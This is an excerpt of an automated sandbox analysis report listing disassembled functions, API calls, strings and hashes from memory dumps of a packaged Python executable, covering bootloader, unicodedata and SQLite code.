Tcl_NewStringObj, xrefs: 00007FF62C0F7ADB, 00007FF62C0F7AFD

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction ID: 9b42112f5a6de7e26e6b0482f864bc7eddc8e5a0b83c699868f5fd35e10688a3
Opcode Fuzzy Hash: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction Fuzzy Hash: 6D02C664A0DB17D9FE15EB5DBC1A5B82375AF28774F540035D82E82660FFBCB1898207

Function 00007FF62C0F81D0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62C0F9390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF62C0F45F4,00000000,00007FF62C0F1985), ref: 00007FF62C0F93C9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF62C0F86B7,?,?,00000000,00007FF62C0F3CBB), ref: 00007FF62C0F822C

Part of subcall function 00007FF62C0F2810: MessageBoxW.USER32 ref: 00007FF62C0F28EA

Strings

CreateDirectory, xrefs: 00007FF62C0F837C
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF62C0F82D9
\, xrefs: 00007FF62C0F8261
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF62C0F829D
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF62C0F8373
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF62C0F8240
%.*s, xrefs: 00007FF62C0F830C
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF62C0F8203

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 34679b23be2e6a85bad270fe565fa16c5e09c528fb77942a9d4832d630ea4d55
Instruction ID: c4a4301164b462cb6397726c5f45bbea8ec773880fba7c5bfdc6f11441fe4b33
Opcode Fuzzy Hash: 34679b23be2e6a85bad270fe565fa16c5e09c528fb77942a9d4832d630ea4d55
Instruction Fuzzy Hash: B951F610A2DA4288FF51EB28EC562FE2361AF957A0F544431DE0EC26D5EFBDF045834A

Function 00007FF62C0F1600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145COMMON

Download Yara Rule

Strings

fseek, xrefs: 00007FF62C0F16E1
fopen, xrefs: 00007FF62C0F1663
fread, xrefs: 00007FF62C0F17E6
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF62C0F1742
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF62C0F16DA
malloc, xrefs: 00007FF62C0F1749
Failed to extract %s: failed to open target file!, xrefs: 00007FF62C0F165C
Failed to create symbolic link %s!, xrefs: 00007FF62C0F1622
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF62C0F17CA
Failed to extract %s: failed to open archive file!, xrefs: 00007FF62C0F16A2
fwrite, xrefs: 00007FF62C0F17D1
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF62C0F17DF

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 10ad1ac658e299a32776e4f5c7df64e1b6feaa7ef6c238e08fbfef3a4424164a
Instruction ID: 670ebc5e103c052e2094edc188542366070cb4a3a4dd7a192199f55c72247a30
Opcode Fuzzy Hash: 10ad1ac658e299a32776e4f5c7df64e1b6feaa7ef6c238e08fbfef3a4424164a
Instruction Fuzzy Hash: 1851F361B0864796EE10AB299C461B923A0BF44BB4F444131EE0CC77D6DF3DF9A5C346

Function 00007FFDFAA54910 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 93COMMON

Download Yara Rule

APIs

PyUnicode_CompareWithASCIIString.PYTHON312 ref: 00007FFDFAA54955
PyUnicode_Compare.PYTHON312 ref: 00007FFDFAA549B8
_Py_Dealloc.PYTHON312 ref: 00007FFDFAA549CE

Strings

NFKD, xrefs: 00007FFDFAA54A10
invalid normalization form, xrefs: 00007FFDFAA54A32
NFKC, xrefs: 00007FFDFAA549D8
NFD, xrefs: 00007FFDFAA549F8
NFC, xrefs: 00007FFDFAA54941

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: CompareUnicode_$DeallocStringWith
String ID: NFC$NFD$NFKC$NFKD$invalid normalization form
API String ID: 1004266020-3528878251
Opcode ID: 1585b7f006c3bc3ef317b73109392006e48ef7fb1c9bb5363a1940f6ac4bfac5
Instruction ID: 1bb56ce85a6170cbf0410102c12cf497e75c5cd1e9653a74ff44ca7443c2300c
Opcode Fuzzy Hash: 1585b7f006c3bc3ef317b73109392006e48ef7fb1c9bb5363a1940f6ac4bfac5
Instruction Fuzzy Hash: 20416125B086038AEB5C9B11A870A3977A6BF45BC4F8440B5DA6E477DCDF2DE04A9308

Function 00007FFDFAA524B0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 81COMMON

Download Yara Rule

APIs

PyModule_AddStringConstant.PYTHON312 ref: 00007FFDFAA524D0
PyType_FromSpec.PYTHON312 ref: 00007FFDFAA524E5
PyModule_AddType.PYTHON312 ref: 00007FFDFAA524FD
_Py_Dealloc.PYTHON312 ref: 00007FFDFAA53F76

Part of subcall function 00007FFDFAA525A0: _PyObject_GC_New.PYTHON312(?,?,00000000,00007FFDFAA52513), ref: 00007FFDFAA525A6
Part of subcall function 00007FFDFAA525A0: PyObject_GC_Track.PYTHON312(?,?,00000000,00007FFDFAA52513), ref: 00007FFDFAA525D8

PyModule_AddObject.PYTHON312 ref: 00007FFDFAA52537
PyModule_AddObjectRef.PYTHON312 ref: 00007FFDFAA5255F
_Py_Dealloc.PYTHON312 ref: 00007FFDFAA53F85

Strings

ucd_3_2_0, xrefs: 00007FFDFAA5252D
unidata_version, xrefs: 00007FFDFAA524C9
15.0.0, xrefs: 00007FFDFAA524BF
_ucnhash_CAPI, xrefs: 00007FFDFAA52555

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Module_$DeallocObjectObject_$ConstantFromSpecStringTrackTypeType_
String ID: 15.0.0$_ucnhash_CAPI$ucd_3_2_0$unidata_version
API String ID: 2663085338-4141011787
Opcode ID: 35f2a36de3bf8fc04aa01d781381661ddda8c4355416510f682401fb826b2ab5
Instruction ID: 014cd119ab306fdf0fc2288ea292f8441c62734d5a03cb1dc796add6da610929
Opcode Fuzzy Hash: 35f2a36de3bf8fc04aa01d781381661ddda8c4355416510f682401fb826b2ab5
Instruction Fuzzy Hash: 40312D25F18A0399E71D5B21DC34A7832A5BF49B90F9840B4D92E466DDDE6CE40E8308

Function 00007FFDFAA511B0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 153COMMON

Download Yara Rule

APIs

PyUnicode_CompareWithASCIIString.PYTHON312 ref: 00007FFDFAA511E2
PyUnicode_CompareWithASCIIString.PYTHON312 ref: 00007FFDFAA511FA
PyType_IsSubtype.PYTHON312 ref: 00007FFDFAA5121D

Part of subcall function 00007FFDFAA512F0: PyMem_Malloc.PYTHON312 ref: 00007FFDFAA51376
Part of subcall function 00007FFDFAA512F0: PyMem_Free.PYTHON312 ref: 00007FFDFAA5147C

PyUnicode_CompareWithASCIIString.PYTHON312 ref: 00007FFDFAA5377B

Strings

NFKD, xrefs: 00007FFDFAA537B7
invalid normalization form, xrefs: 00007FFDFAA53813
NFKC, xrefs: 00007FFDFAA511F0
NFD, xrefs: 00007FFDFAA53771
NFC, xrefs: 00007FFDFAA511D8

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: CompareStringUnicode_With$Mem_$FreeMallocSubtypeType_
String ID: NFC$NFD$NFKC$NFKD$invalid normalization form
API String ID: 1723213316-3528878251
Opcode ID: 0183ee75f38b3d9b4e000f242270cd4c61522a137d2eba0fb5a9939ca12be486
Instruction ID: ff11c8a9c53d2a19944ee3ca85aed121d89ff6724793bb84932215bb7bb49fc8
Opcode Fuzzy Hash: 0183ee75f38b3d9b4e000f242270cd4c61522a137d2eba0fb5a9939ca12be486
Instruction Fuzzy Hash: 6F51A025F0C6438AFB69AB25A470E3D3290AF51BC0F0451B1D96E87ACDDF2CE40B8708

Function 00007FFDFAA544E4 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 109COMMON

Download Yara Rule

APIs

_PyArg_BadArgument.PYTHON312 ref: 00007FFDFAA54514
PyType_IsSubtype.PYTHON312 ref: 00007FFDFAA54577
PyUnicode_FromString.PYTHON312 ref: 00007FFDFAA54593

Strings

%04X, xrefs: 00007FFDFAA5463C
decomposition, xrefs: 00007FFDFAA5450D
, xrefs: 00007FFDFAA54627
a unicode character, xrefs: 00007FFDFAA544FF
argument, xrefs: 00007FFDFAA54506

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Arg_ArgumentFromStringSubtypeType_Unicode_
String ID: $%04X$a unicode character$argument$decomposition
API String ID: 1318908108-4056541097
Opcode ID: 2aa5bcb769f9567ef44792d0b8645ff4acf96607a2464068c30a17cc2bf935c6
Instruction ID: 879030ecdb9cee80fa19b6e581e022b3566b2d0577b2035cc147f2d83a91ba25
Opcode Fuzzy Hash: 2aa5bcb769f9567ef44792d0b8645ff4acf96607a2464068c30a17cc2bf935c6
Instruction Fuzzy Hash: 7D41B6A1B08A829AEB288B14E834BB973A1FF55754F440275D97E476C8DF2CD54EC304

Function 00007FFDFAC247D0 Relevance: 18.2, APIs: 1, Strings: 11, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFABBD940: memcpy.VCRUNTIME140 ref: 00007FFDFABBDAE7

Part of subcall function 00007FFDFABBD440: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFDFABB7857), ref: 00007FFDFABBD59A
Part of subcall function 00007FFDFABBD440: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00007FFDFABB7857), ref: 00007FFDFABBD617

memcpy.VCRUNTIME140 ref: 00007FFDFAC24B42

Strings

cume_dist, xrefs: 00007FFDFAC24959
RANGE with offset PRECEDING/FOLLOWING requires one ORDER BY expression, xrefs: 00007FFDFAC248D4
L, xrefs: 00007FFDFAC2492D
rank, xrefs: 00007FFDFAC2493C
row_number, xrefs: 00007FFDFAC24917
percent_rank, xrefs: 00007FFDFAC2494E
ntile, xrefs: 00007FFDFAC24964
FILTER clause may only be used with aggregate window functions, xrefs: 00007FFDFAC248FF
lead, xrefs: 00007FFDFAC2496F
dense_rank, xrefs: 00007FFDFAC24926
lag, xrefs: 00007FFDFAC2497A

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID: FILTER clause may only be used with aggregate window functions$L$RANGE with offset PRECEDING/FOLLOWING requires one ORDER BY expression$cume_dist$dense_rank$lag$lead$ntile$percent_rank$rank$row_number
API String ID: 3510742995-2234786739
Opcode ID: 788232bee9104a0cd9c319c12bad25031100ac734658960405c14a196bff1add
Instruction ID: fa405fb04897252829675dde9403c305925683d7a51ca931cb7a09698a3bda6f
Opcode Fuzzy Hash: 788232bee9104a0cd9c319c12bad25031100ac734658960405c14a196bff1add
Instruction Fuzzy Hash: 1BB18B7AB08B818AE728CF25D560AAE37F5EB49788F044276DE6C077C9DB79D054CB04

Function 00007FF62C0F2180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF62C0F21AB
SelectObject.GDI32 ref: 00007FF62C0F21F2
DrawTextW.USER32 ref: 00007FF62C0F2215
SelectObject.GDI32 ref: 00007FF62C0F222B
ReleaseDC.USER32 ref: 00007FF62C0F223B
MoveWindow.USER32 ref: 00007FF62C0F228B
MoveWindow.USER32 ref: 00007FF62C0F22CB
MoveWindow.USER32 ref: 00007FF62C0F231E
MoveWindow.USER32 ref: 00007FF62C0F2366

Strings

P%, xrefs: 00007FF62C0F21FF

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 46fc1f4ccb1474852cc9f4fe89bbc49f8b1fa66c052088270278482ea0f44b78
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 0351E876604BA186DA349F2AF8181BAB7A1F798B61F004125EFDF83694DF7CD085DB10

Function 00007FF62C0F80C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF62C0F80FF
GetWindowLongPtrW.USER32 ref: 00007FF62C0F817F
ShutdownBlockReasonCreate.USER32 ref: 00007FF62C0F8192
GetLastError.KERNEL32 ref: 00007FF62C0F819C
SetWindowLongPtrW.USER32 ref: 00007FF62C0F81B3

Strings

Needs to remove its temporary files., xrefs: 00007FF62C0F8185

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction ID: 58c842badf6d958e47ae5fd5c628e2b6cd9f2abeeaf88c6d44f8f795cbda9130
Opcode Fuzzy Hash: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction Fuzzy Hash: A1219161B09A8286EF458B7EBC491796254FF99FB0F584331DE2EC3394DF6CD590820A

Function 00007FFDFABED710 Relevance: 16.9, APIs: 2, Strings: 9, Instructions: 386COMMON

Download Yara Rule

Strings

sqlite3_extension_init, xrefs: 00007FFDFABED79A
not authorized, xrefs: 00007FFDFABED783
no entry point [%s] in shared library [%s], xrefs: 00007FFDFABEDBAC
unable to open shared library [%.*s], xrefs: 00007FFDFABEDD1F
error during initialization: %s, xrefs: 00007FFDFABEDAD6
%s.%s, xrefs: 00007FFDFABED7DC
_init, xrefs: 00007FFDFABEDA0E
sqlite3_, xrefs: 00007FFDFABED913
lib, xrefs: 00007FFDFABED961

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID:
String ID: %s.%s$_init$error during initialization: %s$lib$no entry point [%s] in shared library [%s]$not authorized$sqlite3_$sqlite3_extension_init$unable to open shared library [%.*s]
API String ID: 0-3733955532
Opcode ID: 277c94ae1e11b724fb70cb3282ddbc3275fdb8f065c91e1fc0448e61370f49ab
Instruction ID: 8c875e39d1888c8b72f76b675c67ae3b5d57457b70a47531b278a93bbf4f813a
Opcode Fuzzy Hash: 277c94ae1e11b724fb70cb3282ddbc3275fdb8f065c91e1fc0448e61370f49ab
Instruction Fuzzy Hash: F3029329B09A8281EB5D9B12A4B4BBD63A0EF45B81F8441B5CE7E477D9DF7CE844C301

Function 00007FFDFAA546A8 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 62COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON312 ref: 00007FFDFAA546E7
_PyArg_BadArgument.PYTHON312 ref: 00007FFDFAA54720
_PyUnicode_ToDigit.PYTHON312 ref: 00007FFDFAA54740
PyErr_SetString.PYTHON312 ref: 00007FFDFAA54760
PyLong_FromLong.PYTHON312 ref: 00007FFDFAA54778

Strings

argument 1, xrefs: 00007FFDFAA54719
digit, xrefs: 00007FFDFAA546D7, 00007FFDFAA54712
a unicode character, xrefs: 00007FFDFAA5470B
not a digit, xrefs: 00007FFDFAA54756

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Arg_$ArgumentCheckDigitErr_FromLongLong_PositionalStringUnicode_
String ID: a unicode character$argument 1$digit$not a digit
API String ID: 4245020737-4278345224
Opcode ID: d2c025be6f32e1fa96eb3f1c6703f3e18d3fbf46a97c983d3ea169cd79d16b21
Instruction ID: 2598797c64e4db6ec277d861d6e7048185b5bd84d13d797da66f4593b3b8d4b2
Opcode Fuzzy Hash: d2c025be6f32e1fa96eb3f1c6703f3e18d3fbf46a97c983d3ea169cd79d16b21
Instruction Fuzzy Hash: 00214B39F08A439AEB188B15E460A797365FB55B84F9440B1D92E87BDCDF2DE44A8304

Function 00007FFDFABAB0E0 Relevance: 15.3, APIs: 2, Strings: 8, Instructions: 330COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFDFABAB1E3
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFDFABAB2C4

Strings

NULL, xrefs: 00007FFDFABAB34D
%lld, xrefs: 00007FFDFABAB381
'%.*q', xrefs: 00007FFDFABAB435
-- , xrefs: 00007FFDFABAB173, 00007FFDFABAB192
zeroblob(%d), xrefs: 00007FFDFABAB480
?, xrefs: 00007FFDFABAB2D8
%02x, xrefs: 00007FFDFABAB4E4
%!.15g, xrefs: 00007FFDFABAB39E

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

